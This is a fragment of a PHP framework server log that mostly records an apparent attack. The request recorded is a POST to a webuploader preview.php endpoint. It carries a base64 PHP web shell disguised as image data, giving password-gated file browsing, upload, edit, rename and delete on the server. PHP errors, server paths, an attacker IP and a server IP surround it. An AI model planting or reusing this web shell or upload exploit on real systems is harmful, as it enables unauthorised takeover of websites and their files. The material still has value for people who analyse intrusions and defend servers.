9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'default' => 'Public', 'Hui' => 'lib', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:04+08:00 ] 119.42.146.234 POST 59.110.137.245/services/cepingka/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002784s] [吞吐率:359.19req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'services', 2 => 'cepingka', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPS